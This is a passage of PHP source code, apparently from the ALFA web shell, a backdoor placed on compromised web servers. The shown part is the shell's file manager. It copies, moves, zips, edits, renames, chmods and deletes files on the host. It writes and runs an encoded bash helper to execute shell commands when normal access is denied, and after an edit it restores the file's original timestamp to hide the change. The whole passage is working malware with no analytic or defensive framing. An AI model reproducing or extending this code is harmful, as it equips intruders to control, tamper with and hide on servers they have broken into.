  2911. if (@is_dir($c . $s)) {
  2912. @mkdir($d . $s);
  2913. $h = @opendir($c . $s);
  2914. while (($f = @readdir($h)) !== false)
  2915. if (($f != ".") and ($f != ".."))
  2916. copy_paste($c . $s . '/', $f, $d . $s . '/');
  2917. } elseif (is_file($c . $s))
  2918. @copy($c . $s, $d . $s);
  2919. }
  2920. foreach ($_SESSION['f'] as $f)
  2921. copy_paste($_SESSION['c'], $f, $GLOBALS['cwd']);
  2922. } elseif ($_SESSION['act'] == 'move' && isset($_SESSION['f'])) {
  2923. function move_paste($c, $s, $d)
  2924. {
  2925. if (@is_dir($c . $s)) {
  2926. @mkdir($d . $s);
  2927. $h = @opendir($c . $s);
  2928. while (($f = @readdir($h)) !== false)
  2929. if (($f != ".") and ($f != ".."))
  2930. copy_paste($c . $s . '/', $f, $d . $s . '/');
  2931. } elseif (@is_file($c . $s))
  2932. @copy($c . $s, $d . $s);
  2933. }
  2934. foreach ($_SESSION['f'] as $f)
  2935. @rename($_SESSION['c'] . $f, $GLOBALS['cwd'] . $f);
  2936. } elseif ($_SESSION['act'] == 'zip' && isset($_SESSION['f'])) {
  2937. if (class_exists('ZipArchive')) {
  2938. $zip = new ZipArchive();
  2939. $zipX = "alfa_" . rand(1, 1000) . ".zip";
  2940. if ($zip->open($zipX, 1)) {
  2941. @chdir($_SESSION['c']);
  2942. foreach ($_SESSION['f'] as $f) {
  2943. if ($f == '..')
  2944. continue;
  2945. if (@is_file($_SESSION['c'] . $f))
  2946. $zip->addFile($_SESSION['c'] . $f, $f);
  2947. elseif (@is_dir($_SESSION['c'] . $f)) {
  2948. $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f . '/'));
  2949. foreach ($iterator as $key => $value) {
  2950. $key = str_replace('\\', '/', realpath($key));
  2951. if (@is_dir($key)) {
  2952. if (in_array(substr($key, strrpos($key, '/') + 1), array(
  2953. '.',
  2954. '..'
  2955. )))
  2956. continue;
  2957. } else {
  2958. $zip->addFile($key, $key);
  2959. }
  2960. }
  2961. }
  2962. }
  2963. @chdir($GLOBALS['cwd']);
  2964. $zip->close();
  2965. __alert('>> ' . $zipX . ' << is created...');
  2966. }
  2967. }
  2968. } elseif ($_SESSION['act'] == 'unzip' && isset($_SESSION['f'])) {
  2969. if (class_exists('ZipArchive')) {
  2970. $zip = new ZipArchive();
  2971. foreach ($_SESSION['f'] as $f) {
  2972. if ($zip->open($_SESSION['c'] . $f)) {
  2973. $zip->extractTo($GLOBALS['cwd']);
  2974. $zip->close();
  2975. }
  2976. }
  2977. }
  2978. }
  2979. unset($_SESSION['f']);
  2980. break;
  2981. default:
  2982. if (!empty($_POST['alfa1'])) {
  2983. $_SESSION['act'] = @$_POST['alfa1'];
  2984. $_SESSION['f'] = @$_POST['f'];
  2985. $_SESSION['c'] = @$_POST['c'];
  2986. }
  2987. break;
  2988. }
  2989. }
  2990. if (isset($_SESSION[__LAST_CWD__]) && !isset($_POST['c']) && $_SESSION[__LAST_CWD__] != '') {
  2991. $dirContent = @scandir($_SESSION[__LAST_CWD__]);
  2992. } else {
  2993. $dirContent = @scandir(isset($_POST['c']) ? $_POST['c'] : $GLOBALS['cwd']);
  2994. if (preg_match("#(.*)\/\.\.#", $_POST['c'], $res)) {
  2995. $path = explode('/', $res[1]);
  2996. array_pop($path);
  2997. $_POST['c'] = implode('/', $path);
  2998. }
  2999. $_SESSION[__LAST_CWD__] = str_replace(array(
  3000. "..",
  3001. "//"
  3002. ), array(
  3003. "",
  3004. "/"
  3005. ), $_POST['c']);
  3006. }
  3007. $cmd_dir = false;
  3008. if ($dirContent === false) {
  3009. if (_alfa_can_runCommand(true, true)) {
  3010. @chdir(dirname($_SERVER["SCRIPT_FILENAME"]));
  3011. if (!isset($_SESSION["alfachdir_bash"]) || @!file_exists("alfacgiapi/getdir.alfa")) {
  3012. $bash = "jZNvb5swEMZfw6e4eaZppaIk3Z9INLyYNHXq2017UYWocsEEa2AjQ5SxNN99PmMIlTJpEVLOv+fu8Rkf79/N942evwg5bwr/6+P3mC79x4cfMZ0lcubztFBANsTPlQYBQgK9LhsIGYThTqt9HWZC87RVWvAmzIVuWqDG5eYeMuWD+dWsLWKCbE4F8T0hcxXT66ZlLYQpkOAhCn5GwbcoaKLgKVoELAq+EKBYd+N72MosmoHmLINQ485Ma9bBer0GQtHNmLZdzWN6tMpmsT3ZndVBcj3SpaO265HeGeo14s+5+gOSSmUi70b20dXWXFdyX43804QX+4rJUfmMLiKHzcacpK+COAayWK5WKwLb7T20BZe+5w2eZIGKA70ZyfTht30Mz8VgGB7MwfH1oA9cXVmmJ+yNd6pKpWNSMSGfd5pz+YzUGPLS2f1X6aEQLT+XNvxCjubZkHHuluLd2LMPk9K92cheHWqTls41mu/2JdOQi5Lb476+Xk7gVd12/05ruupFlSKFUshfF/a3hX3bduSPCZGs4gmJIDFTlpBb84+pjvQhQjtljroYsR0zh12MGEfN0T5E2E+bw8MCBTcbThlXg2SnZCK69SDbq5nIbn269TMlufu0j6ct+Qs=";
  3013. alfaWriteTocgiapi("getdir.alfa", $bash);
  3014. }
  3015. if (empty($_SESSION[__LAST_CWD__]))
  3016. $_SESSION[__LAST_CWD__] = "/";
  3017. $dirContent = alfaEx("cd alfacgiapi;sh getdir.alfa '" . addslashes($_SESSION[__LAST_CWD__]) . "'");
  3018. $dirContent = json_decode($dirContent, true);
  3019. if (is_array($dirContent)) {
  3020. array_pop($dirContent);
  3021. $cmd_dir = true;
  3022. } else {
  3023. $dirContent = false;
  3024. }
  3025. $_SESSION["alfachdir_bash"] = true;
  3026. }
  3027. }
  3028. if ($dirContent == false) {
  3029. echo '<center><br><span style="font-size:16px;"><span style="color: red; -webkit-text-shadow: 1px 1px 13px;"><strong><b><big>!!! Access Denied !!!</b></big><br><br></strong></div>';
  3030. alfaFooter();
  3031. return;
  3032. }
  3033. global $sort;
  3034. $sort = array(
  3035. 'name',
  3036. 1
  3037. );
  3038. if (!empty($_POST['alfa1'])) {
  3039. if (preg_match('!s_([A-z]+)_(\d{1})!', $_POST['alfa1'], $match))
  3040. $sort = array(
  3041. $match[1],
  3042. (int) $match[2]
  3043. );
  3044. }
  3045. echo "<form onsubmit='fc(this);return false;' name='files' method='post'><table width='100%' class='main' cellspacing='0' cellpadding='2'><tr><th width='13px'><div class='myCheckbox' style='padding-left:0px;'><input type='checkbox' id='mchk' onclick='checkBox();' class='chkbx'><label for='mchk'></label></div></th><th>Name</th><th>Size</th><th>Modify</th><th>Owner/Group</th><th>Permissions</th><th>Actions</th></tr>";
  3046. $dirs = $files = array();
  3047. $n = count($dirContent);
  3048. for ($i = 0; $i < $n; $i++) {
  3049. if ($cmd_dir) {
  3050. $filename = $dirContent[$i]["name"];
  3051. $file_owner = $dirContent[$i]["owner"];
  3052. $file_group = $dirContent[$i]["group"];
  3053. $file_modify = @date('Y-m-d H:i:s', $dirContent[$i]["modify"]);
  3054. $file_perm = alfaPermsColor(array(
  3055. "class" => $dirContent[$i]["permcolor"],
  3056. "num" => $dirContent[$i]["permnum"],
  3057. "human" => $dirContent[$i]["permhuman"]
  3058. ), true);
  3059. $file_size = $dirContent[$i]["size"];
  3060. $file_path = $_SESSION[__LAST_CWD__] . "/" . $dirContent[$i]["name"];
  3061. } else {
  3062. $filename = $dirContent[$i];
  3063. $ow = function_exists("posix_getpwuid") && function_exists("fileowner") ? @posix_getpwuid(@fileowner($GLOBALS['cwd'] . $filename)) : array(
  3064. "name" => "????"
  3065. );
  3066. $gr = function_exists("posix_getgrgid") && function_exists("filegroup") ? @posix_getgrgid(@filegroup($GLOBALS['cwd'] . $filename)) : array(
  3067. "name" => "????"
  3068. );
  3069. $file_owner = $ow['name'] ? $ow['name'] : (function_exists("fileowner") ? @fileowner($GLOBALS['cwd'] . $filename) : "????");
  3070. $file_group = $gr['name'] ? $gr['name'] : (function_exists("filegroup") ? @filegroup($GLOBALS['cwd'] . $filename) : "????");
  3071. $file_modify = @date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $filename));
  3072. $file_perm = alfaPermsColor($GLOBALS['cwd'] . $filename);
  3073. $file_size = @filesize($GLOBALS['cwd'] . $filename);
  3074. $file_path = $GLOBALS['cwd'] . $filename;
  3075. }
  3076. $tmp = array(
  3077. 'name' => $filename,
  3078. 'path' => $file_path,
  3079. 'modify' => $file_modify,
  3080. 'perms' => $file_perm,
  3081. 'size' => $file_size,
  3082. 'owner' => $file_owner,
  3083. 'group' => $file_group
  3084. );
  3085. if (!$cmd_dir) {
  3086. if (@is_file($file_path))
  3087. $files[] = array_merge($tmp, array(
  3088. 'type' => 'file'
  3089. ));
  3090. elseif (@is_link($file_path))
  3091. $dirs[] = array_merge($tmp, array(
  3092. 'type' => 'link',
  3093. 'link' => readlink($tmp['path'])
  3094. ));
  3095. elseif (@is_dir($file_path) && ($filename != "."))
  3096. $dirs[] = array_merge($tmp, array(
  3097. 'type' => 'dir'
  3098. ));
  3099. } else {
  3100. if ($dirContent[$i]["type"] == "file") {
  3101. $files[] = array_merge($tmp, array(
  3102. 'type' => 'file'
  3103. ));
  3104. } else {
  3105. if ($dirContent[$i]["name"] != ".") {
  3106. $dirs[] = array_merge($tmp, array(
  3107. 'type' => 'dir'
  3108. ));
  3109. }
  3110. }
  3111. }
  3112. }
  3113. $GLOBALS['sort'] = $sort;
  3114. function alfaCmp($a, $b)
  3115. {
  3116. if ($GLOBALS['sort'][0] != 'size')
  3117. return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]])) * ($GLOBALS['sort'][1] ? 1 : -1);
  3118. else
  3119. return (($a['size'] < $b['size']) ? -1 : 1) * ($GLOBALS['sort'][1] ? 1 : -1);
  3120. }
  3121. usort($files, "alfaCmp");
  3122. usort($dirs, "alfaCmp");
  3123. $files = array_merge($dirs, $files);
  3124. $l = 0;
  3125. $cc = 0;
  3126. foreach ($files as $f) {
  3127. $f['name'] = htmlspecialchars($f['name']);
  3128. $newname = mb_strlen($f['name'], 'UTF-8') > 60 ? mb_substr($f['name'], 0, 60, 'utf-8') . '...' : $f['name'];
  3129. $checkbox = 'checkbox' . $cc;
  3130. $raw_name = rawurlencode($f['name']);
  3131. $icon = $GLOBALS['DB_NAME']['show_icons'] ? '<img src="' . findicon($f['name'], $f['type']) . '" width="30" height="30">' : '';
  3132. $style = $GLOBALS['DB_NAME']['show_icons'] ? 'position:relative;display:inline-block;bottom:12px;' : '';
  3133. echo '<tr' . ($l ? ' class=l1' : '') . '><td><div class="myCheckbox"><input type="checkbox" name="f[]" value="' . $raw_name . '" class="chkbx" id="' . $checkbox . '"><label for="' . $checkbox . '"></label></div></td><td>' . $icon . '<div style="' . $style . '"><a class="main_name" href=javascript:void(0) onclick="' . (($f['type'] == 'file') ? 'editor(\'' . $raw_name . '\',\'auto\',\'\',\'\',\'\',\'' . $f['type'] . '\');">' . ($GLOBALS['cwd'] . $f['name'] == $GLOBALS['__file_path'] ? "<span class='shell_name' style='font-weight:unset;'>" . $f['name'] . "</span>" : htmlspecialchars($newname)) : 'g(\'FilesMan\',\'' . $f['path'] . '\');" title=' . $f['link'] . '><b>| ' . htmlspecialchars($f['name']) . ' |</b>') . '</a></td></div><td><span style="font-weight:unset;" class="main_size">' . (($f['type'] == 'file') ? alfaSize($f['size']) : $f['type']) . '</span></td><td><span style="font-weight:unset;" class="main_modify">' . $f['modify'] . '</span></td><td><span style="font-weight:unset;" class="main_owner_group">' . $f['owner'] . '/' . $f['group'] . '</span></td><td><a href=javascript:void(0) onclick="editor(\'' . $raw_name . '\',\'chmod\',\'\',\'\',\'\',\'' . $f['type'] . '\')">' . $f['perms'] . '</td><td><a class="actions" href="javascript:void(0);" onclick="editor(\'' . $raw_name . '\', \'rename\',\'\',\'\',\'\',\'' . $f['type'] . '\')">R</a> <a class="actions" href="javascript:void(0);" onclick="editor(\'' . $raw_name . '\', \'touch\',\'\',\'\',\'\',\'' . $f['type'] . '\')">T</a>' . (($f['type'] == 'file') ? ' <a class="actions" href="javascript:void(0);" onclick="editor(\'' . $raw_name . '\', \'edit\',\'\',\'\',\'\',\'' . $f['type'] . '\')">E</a> <a class="actions" href="javascript:void(0);" onclick="g(\'FilesTools\',null,\'' . $raw_name . '\', \'download\')">D</a>' : '') . '<a class="actions" href="javascript:void(0);" onclick="var chk = confirm(\'Are You Sure For Delete # ' . addslashes(rawurldecode($f['name'])) . ' # ?\'); chk ? g(\'FilesMan\',null,\'delete\', \'' . $raw_name . '\') : \'\';"> X </a></td></tr>';
  3134. $l = $l ? 0 : 1;
  3135. $cc++;
  3136. }
  3137. echo "<tr><td colspan=7>
  3138. <input type=hidden name=a value='FilesMan'>
  3139. <input type=hidden name=c value='" . htmlspecialchars((isset($GLOBALS['glob_chdir_false']) ? $_POST['c'] : $GLOBALS['cwd'])) . "'>
  3140. <input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>
  3141. <select id='tools_selector' name='alfa1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete' selected>Delete</option><option value='zip'>Add 2 Compress (zip)</option><option value='unzip'>Add 2 Uncompress (zip)</option><option value='paste'>Paste / Zip / Unzip </option></select>
  3142. <input type='submit' value=' '>
  3143. </form></table></div></div>";
  3144. alfafooter();
  3145. }
  3146. function alfaFilesTools()
  3147. {
  3148. alfahead();
  3149. echo '<div class="filestools">';
  3150. if (isset($_POST['alfa1']))
  3151. $_POST['alfa1'] = rawurldecode($_POST['alfa1']);
  3152. $alfa1_decoded = $_POST['alfa1'];
  3153. $chdir_fals = false;
  3154. if (!@chdir($_POST['c'])) {
  3155. $chdir_fals = true;
  3156. $_POST['alfa1'] = $_POST["c"] . "/" . $_POST["alfa1"];
  3157. $alfa_canruncmd = _alfa_can_runCommand(true, true);
  3158. if ($alfa_canruncmd) {
  3159. $slashed_alfa1 = addslashes($_POST['alfa1']);
  3160. $file_info = explode(":", alfaEx('stat -c "%F:%U:%G:%s:%Y:0%a:%A" "' . $slashed_alfa1 . '"'));
  3161. $perm_color_class = alfaEx("if [[ -w '" . $slashed_alfa1 . "' ]]; then echo main_green_perm; elif [[ -r '" . $slashed_alfa1 . "' ]]; then echo main_white_perm; else echo main_red_perm; fi");
  3162. }
  3163. }
  3164. if ($_POST['alfa2'] == 'auto') {
  3165. if (is_array(@getimagesize($_POST['alfa1']))) {
  3166. $_POST['alfa2'] = 'image';
  3167. } else {
  3168. $_POST['alfa2'] = 'view';
  3169. if ($chdir_fals) {
  3170. if ($alfa_canruncmd) {
  3171. $mime = explode(":", alfaEx("file --mime-type '" . addslashes($_POST['alfa1']) . "'"));
  3172. $mimetype = $mime[1];
  3173. if (!empty($mimetype)) {
  3174. if (strstr($mimetype, "image")) {
  3175. $_POST['alfa2'] = 'image';
  3176. }
  3177. }
  3178. }
  3179. }
  3180. }
  3181. }
  3182. if ($_POST['alfa2'] == "rename" && !empty($_POST['alfa3']) && @is_writable($_POST['alfa1'])) {
  3183. $rename_cache = $_POST['alfa3'];
  3184. }
  3185. if (@$_POST['alfa2'] == 'mkfile') {
  3186. $_POST['alfa1'] = trim($_POST['alfa1']);
  3187. if ($chdir_fals && $alfa_canruncmd) {
  3188. if (_alfa_is_writable($_POST["c"])) {
  3189. alfaEx("cd '" . addslashes($_POST["c"]) . "';touch '" . addslashes($alfa1_decoded) . "'");
  3190. $_POST['alfa2'] = "edit";
  3191. }
  3192. }
  3193. if (!@file_exists($_POST['alfa1'])) {
  3194. $fp = @fopen($_POST['alfa1'], 'w');
  3195. if ($fp) {
  3196. $_POST['alfa2'] = "edit";
  3197. fclose($fp);
  3198. }
  3199. } else {
  3200. $_POST['alfa2'] = "edit";
  3201. }
  3202. }
  3203. if (!_alfa_file_exists(@$_POST['alfa1'])) {
  3204. echo __pre() . "<center><p><div class=\"txtfont\"><font color='red'>!...FILE DOEST NOT EXITS...!</font></div></p></center></div><script>editor_error=false;removeHistory('" . $_POST['alfa4'] . "');</script>";
  3205. alfaFooter();
  3206. return;
  3207. }
  3208. if ($chdir_fals) {
  3209. $filesize = $file_info[3];
  3210. $uid["name"] = $file_info[1];
  3211. $gid["name"] = $file_info[2];
  3212. $permcolor = alfaPermsColor(array(
  3213. "class" => $perm_color_class,
  3214. "num" => $file_info[5],
  3215. "human" => $file_info[6]
  3216. ), true);
  3217. } else {
  3218. $uid = function_exists("posix_getpwuid") && function_exists("fileowner") ? @posix_getpwuid(@fileowner($_POST['alfa1'])) : '';
  3219. $gid = function_exists("posix_getgrgid") && function_exists("filegroup") ? @posix_getgrgid(@filegroup($_POST['alfa1'])) : '';
  3220. if (!$uid && !$gid) {
  3221. $uid['name'] = function_exists("fileowner") ? @fileowner($_POST['alfa1']) : '';
  3222. $gid['name'] = function_exists("filegroup") ? @filegroup($_POST['alfa1']) : '';
  3223. }
  3224. $permcolor = alfaPermsColor($_POST['alfa1']);
  3225. $filesize = @filesize($_POST['alfa1']);
  3226. if (!isset($uid['name'], $gid['name']) || empty($uid['name']) || empty($gid['name'])) {
  3227. if (_alfa_can_runCommand()) {
  3228. list($uid['name'], $gid['name']) = explode(":", alfaEx('stat -c "%U:%G" "' . addslashes($_POST["c"] . "/" . $_POST["alfa1"]) . '"'));
  3229. }
  3230. }
  3231. }
  3232. echo '<span class="editor_file_info_vars">Name:</span> ' . htmlspecialchars($alfa1_decoded) . ' <span class="editor_file_info_vars">Size:</span> ' . alfaSize($filesize) . ' <span class="editor_file_info_vars">Permission:</span> ' . $permcolor . ' <span class="editor_file_info_vars">Owner/Group:</span> ' . $uid['name'] . '/' . $gid['name'] . ' <span class="editor_file_info_vars">Directory:</span> ' . str_replace("//", "/", ($chdir_fals ? "" : $_POST['c'] . '/') . $_POST['alfa1']) . '<br><br>';
  3233. if (empty($_POST['alfa2']))
  3234. $_POST['alfa2'] = 'view';
  3235. if (!_alfa_is_dir($_POST['alfa1'])) {
  3236. $m = array(
  3237. 'View',
  3238. 'Edit',
  3239. 'Download',
  3240. 'Highlight',
  3241. 'Chmod',
  3242. 'Rename',
  3243. 'Touch',
  3244. 'Delete',
  3245. 'Image',
  3246. 'Hexdump'
  3247. );
  3248. $ftype = "file";
  3249. } else {
  3250. $m = array(
  3251. 'Chmod',
  3252. 'Rename',
  3253. 'Touch'
  3254. );
  3255. $ftype = "dir";
  3256. }
  3257. foreach ($m as $v)
  3258. echo $v == 'Delete' ? '<a href="javascript:void(0);" onclick="var chk=confirm(\'Are You Sure For Delete This File ?\');chk?editor(\'' . addslashes(!isset($rename_cache) ? $_POST['alfa1'] : $rename_cache) . '\',\'' . strtolower($v) . '\',\'\',\'' . $_POST['c'] . '\',\'' . $_POST['alfa4'] . '\',\'' . $ftype . '\'):\'\';"><span class="editor_actions">' . ((strtolower($v) == @$_POST['alfa2']) ? '<b><span class="editor_actions"> ' . $v . ' </span> </b>' : $v) . ' | </span></a> ' : '<a href="javascript:void(0);" onclick="editor(\'' . addslashes(!isset($rename_cache) ? $_POST['alfa1'] : $rename_cache) . '\',\'' . strtolower($v) . '\',\'\',\'' . $_POST['c'] . '\',\'' . $_POST['alfa4'] . '\',\'' . $ftype . '\')"><span class="editor_actions">' . ((strtolower($v) == @$_POST['alfa2']) ? '<b><span class="editor_actions"> ' . $v . ' </span> </b>' : $v) . ' | </span></a>';
  3259. echo '<br><br>';
  3260. switch ($_POST['alfa2']) {
  3261. case 'view':
  3262. @chdir($_POST['c']);
  3263. echo '<div class="editor-view"><div class="view-content"><p><button style="border-radius:10px;" class="button" onClick="copyToClipboard(\'view_ml_content\');">copy to clipboard</button></p><pre class="ml1" id="view_ml_content">';
  3264. echo htmlspecialchars(__read_file($_POST['alfa1']));
  3265. echo '</pre></div></div>';
  3266. break;
  3267. case 'highlight':
  3268. @chdir($_POST['c']);
  3269. if (@is_readable($_POST['alfa1'])) {
  3270. echo '<div class="editor-view"><div class="view-content"><div class="ml1" style="background-color: #e1e1e1;color:black;">';
  3271. $code = @highlight_file($_POST['alfa1'], true);
  3272. echo str_replace(array(
  3273. '<span ',
  3274. '</span>'
  3275. ), array(
  3276. '<font ',
  3277. '</font>'
  3278. ), $code) . '</div></div></div>';
  3279. }
  3280. break;
  3281. case 'delete':
  3282. @chdir($_POST['c']);
  3283. if (@is_writable($_POST['alfa1']) || isset($GLOBALS["glob_chdir_false"])) {
  3284. $deleted = true;
  3285. if (!@unlink($_POST['alfa1'])) {
  3286. $deleted = false;
  3287. if ($alfa_canruncmd) {
  3288. if (_alfa_is_writable($_POST['alfa1'])) {
  3289. alfaEx("rm -f '" . addslashes($_POST['alfa1']) . "'");
  3290. $deleted = true;
  3291. }
  3292. }
  3293. }
  3294. if ($deleted)
  3295. echo 'File Deleted...<script>var elem = $("' . $_POST['alfa4'] . '").parentNode;elem.parentNode.removeChild(elem);delete editor_files["' . $_POST['alfa4'] . '"];</script>';
  3296. else
  3297. echo 'Error...';
  3298. }
  3299. break;
  3300. case 'chmod':
  3301. @chdir($_POST['c']);
  3302. if (!empty($_POST['alfa3'])) {
  3303. $perms = 0;
  3304. for ($i = strlen($_POST['alfa3']) - 1; $i >= 0; --$i)
  3305. $perms += (int) $_POST['alfa3'][$i] * pow(8, (strlen($_POST['alfa3']) - $i - 1));
  3306. if (!@chmod($_POST['alfa1'], $perms)) {
  3307. if ($chdir_fals && $alfa_canruncmd) {
  3308. alfaEx("cd '" . addslashes($_POST["c"]) . "';chmod " . addslashes($_POST['alfa3']) . " '" . addslashes($alfa1_decoded) . "'");
  3309. echo ('Success!');
  3310. } else {
  3311. echo '<font color="#FFFFFF"><b>Can\'t set permissions!</b></font><br><script>document.mf.alfa3.value="";</script>';
  3312. }
  3313. } else {
  3314. echo ('Success!');
  3315. }
  3316. }
  3317. clearstatcache();
  3318. if ($chdir_fals) {
  3319. $file_perm = $file_info[5];
  3320. } else {
  3321. $file_perm = substr(sprintf('%o', @fileperms($_POST['alfa1'])), -4);
  3322. }
  3323. echo '<script>alfa3_="";</script><form onsubmit="editor(\'' . addslashes($_POST['alfa1']) . '\',\'' . $_POST['alfa2'] . '\',this.chmod.value,\'' . $_POST['c'] . '\',\'' . $_POST['alfa4'] . '\',\'' . $ftype . '\');return false;"><input type="text" name="chmod" value="' . $file_perm . '"><input type=submit value=" "></form>';
  3324. break;
  3325. case 'edit':
  3326. @chdir($_POST['c']);
  3327. if (!@is_writable($_POST['alfa1']) && !_alfa_is_writable($_POST['alfa1'])) {
  3328. echo 'File isn\'t writeable';
  3329. break;
  3330. }
  3331. if (!empty($_POST['alfa3'])) {
  3332. $_POST['alfa3'] = substr($_POST['alfa3'], 1);
  3333. $time = @filemtime($_POST['alfa1']);
  3334. $fp = @__write_file($_POST['alfa1'], $_POST['alfa3']);
  3335. if ($chdir_fals && $alfa_canruncmd) {
  3336. $rname = $alfa1_decoded;
  3337. $randname = $rname . rand(111, 9999);
  3338. $filepath = dirname($_SERVER["SCRIPT_FILENAME"]) . "/" . $randname;
  3339. if ($fp = @__write_file($filepath, $_POST['alfa3'])) {
  3340. alfaEx("mv '" . addslashes($filepath) . "' '" . addslashes($_POST["alfa1"]) . "';rm -f '" . addslashes($filepath) . "'");
  3341. }
  3342. }
  3343. if ($fp) {
  3344. echo 'Saved!<br><script>alfa3_="";</script>';
  3345. @touch($_POST['alfa1'], $time, $time);
  3346. }
  3347. }
  3348. echo '<button class="button" style="border-radius:10px;" onClick="copyToClipboard(\'edit_textarea_content\');">copy to clipboard</button><form id="editor_edit_area" onsubmit="editor(\'' . addslashes($alfa1_decoded) . '\',\'' . $_POST['alfa2'] . '\',\'1\'+this.text.value,\'' . $_POST['c'] . '\',\'' . $_POST['alfa4'] . '\',\'' . $ftype . '\');return false;"><p><input type="submit" value=" "></p><textarea name="text" id="edit_textarea_content" class="bigarea" onkeydown="saveByKey(event);">';
  3349. echo htmlspecialchars(__read_file($_POST['alfa1']));
  3350. echo '</textarea><p><input type="submit" value=" "></p></form>';
  3351. break;
  3352. case 'hexdump':
  3353. @chdir($_POST['c']);
  3354. $c = __read_file($_POST['alfa1']);
  3355. $n = 0;
  3356. $h = array(
  3357. '00000000<br>',
  3358. '',
  3359. ''
  3360. );
  3361. $len = strlen($c);
  3362. for ($i = 0; $i < $len; ++$i) {
  3363. $h[1] .= sprintf('%02X', ord($c[$i])) . ' ';
  3364. switch (ord($c[$i])) {
  3365. case 0:
  3366. $h[2] .= ' ';
  3367. break;
  3368. case 9:
  3369. $h[2] .= ' ';
  3370. break;
  3371. case 10:
  3372. $h[2] .= ' ';
  3373. break;
  3374. case 13:
  3375. $h[2] .= ' ';
  3376. break;
  3377. default:
  3378. $h[2] .= $c[$i];
  3379. break;
  3380. }
  3381. $n++;
  3382. if ($n == 32) {
  3383. $n = 0;
  3384. if ($i + 1 < $len) {
  3385. $h[0] .= sprintf('%08X', $i + 1) . '<br>';
  3386. }
  3387. $h[1] .= '<br>';
  3388. $h[2] .= "\n";
  3389. }
  3390. }
  3391. echo '<div class="editor-view"><div class="view-content"><table cellspacing=1 cellpadding=5 bgcolor=black><tr><td bgcolor=gray><span style="font-weight: normal;"><pre>' . $h[0] . '</pre></span></td><td bgcolor=#282828><pre>' . $h[1] . '</pre></td><td bgcolor=#333333><pre>' . htmlspecialchars($h[2]) . '</pre></td></tr></table></div></div>';
  3392. break;
  3393. case 'rename':
  3394. @chdir($_POST['c']);
  3395. $alfa1_escape = addslashes($_POST["alfa1"]);
  3396. $alfa3_escape = addslashes($_POST["alfa3"]);
  3397. if (!empty($_POST['alfa3'])) {
  3398. $cmd_rename = false;
  3399. if ($chdir_fals && $alfa_canruncmd) {
  3400. if (_alfa_is_writable($_POST['alfa1'])) {
  3401. $alfa1_escape = addslashes($alfa1_decoded);
  3402. alfaEx("cd '" . addslashes($_POST['c']) . "';mv '" . $alfa1_escape . "' '" . addslashes($_POST['alfa3']) . "'");
  3403. } else {
  3404. $cmd_rename = true;
  3405. }
  3406. } else {
  3407. $alfa1_escape = addslashes($_POST["alfa1"]);
  3408. }
  3409. if (!@rename($_POST['alfa1'], $_POST['alfa3']) && $cmd_rename) {
  3410. echo 'Can\'t rename!<br>';
  3411. } else {
  3412. echo ('Renamed!<script>try{$("' . $_POST['alfa4'] . '").innerHTML = "<div class=\'editor-icon\'>"+loadType(\'' . $alfa3_escape . '\',\'' . $ftype . '\',\'' . $_POST['alfa4'] . '\')+"</div><div class=\'editor-file-name\'>' . $alfa3_escape . '</div>";editor_files["' . $_POST['alfa4'] . '"].file = "' . $alfa3_escape . '";d.files.innerHTML = d.files.innerHTML.replace(/\\\'' . $alfa1_escape . '\\\'/g, "\'' . $alfa3_escape . '\'");d.files.innerHTML = d.files.innerHTML.replace(/value\=\"' . $alfa1_escape . '\"/, \'value\=\"' . $alfa3_escape . '\"\');d.files.innerHTML = d.files.innerHTML.replace(/' . $alfa1_escape . '\<\/a\>/g, "' . $alfa3_escape . '</a>");d.files.innerHTML = d.files.innerHTML.replace(/Are You Sure For Delete # ' . $alfa1_escape . ' # \?/, "Are You Sure For Delete # ' . $alfa3_escape . ' # ?");' . ($ftype == "dir" ? "updateDirsEditor('" . $_POST['alfa4'] . "','" . $alfa1_escape . "');" : "") . '}catch(e){console.log(e)}</script>');
  3413. $alfa1_escape = $alfa3_escape;
  3414. }
  3415. }
  3416. echo '<form onsubmit="editor(\'' . $alfa1_escape . '\',\'' . $_POST['alfa2'] . '\',this.name.value,\'' . $_POST['c'] . '\',\'' . $_POST['alfa4'] . '\',\'' . $ftype . '\');return false;"><input type="text" name="name" value="' . addslashes(htmlspecialchars(isset($_POST['alfa3']) && $_POST['alfa3'] != '' ? $_POST['alfa3'] : $alfa1_decoded)) . '"><input type=submit value=" "></form>';
  3417. break;
  3418. case 'touch':
  3419. @chdir($_POST['c']);
  3420. if (!empty($_POST['alfa3'])) {
  3421. $time = strtotime($_POST['alfa3']);
  3422. if ($time) {
  3423. $touched = false;
  3424. if ($chdir_fals && $alfa_canruncmd) {
  3425. alfaEx("cd '" . addslashes($_POST["c"]) . "';touch -d '" . htmlspecialchars(addslashes($_POST['alfa3'])) . "' '" . addslashes($alfa1_decoded) . "'");
  3426. $touched = true;
  3427. }
  3428. if (!@touch($_POST['alfa1'], $time, $time) && !$touched)
  3429. echo 'Fail!';
  3430. else
  3431. echo 'Touched!';
  3432. } else
  3433. echo 'Bad time format!';
  3434. }
  3435. clearstatcache();
  3436. echo '<script>alfa3_="";</script><form onsubmit="editor(\'' . addslashes($_POST['alfa1']) . '\',\'' . $_POST['alfa2'] . '\',this.touch.value,\'' . $_POST['c'] . '\',\'' . $_POST['alfa4'] . '\',\'' . $ftype . '\');return false;"><input type=text name=touch value="' . date("Y-m-d H:i:s", ($chdir_fals ? $file_info[4] : @filemtime($_POST['alfa1']))) . '"><input type=submit value=" "></form>';
  3437. break;
  3438. case 'image':
  3439. @chdir($_POST['c']);
  3440. echo ('<hr>');
  3441. $file = $_POST['alfa1'];
  3442. $image_info = @getimagesize($file);
  3443. if (is_array($image_info) || $chdir_fals) {
  3444. $width = (int) $image_info[0];
  3445. $height = (int) $image_info[1];
  3446. if ($chdir_fals && $alfa_canruncmd) {
  3447. $source = alfaEx("cat '" . addslashes($file) . "' | base64");
  3448. list($width, $height) = explode(":", alfaEx("identify -format '%w:%h' '" . addslashes($file) . "'"));
  3449. $mime = explode(":", alfaEx("file --mime-type '" . addslashes($file) . "'"));
  3450. $image_info['mime'] = $mime[1];
  3451. } else {
  3452. $source = __ZW5jb2Rlcg(__read_file($file, false));
  3453. }
  3454. $image_info_h = "Image type = <span>[</span> " . $image_info['mime'] . " <span>]</span><br>Image Size = <span>[ </span>" . $width . " x " . $height . "<span> ]</span><br>";
  3455. if ($width > 800) {
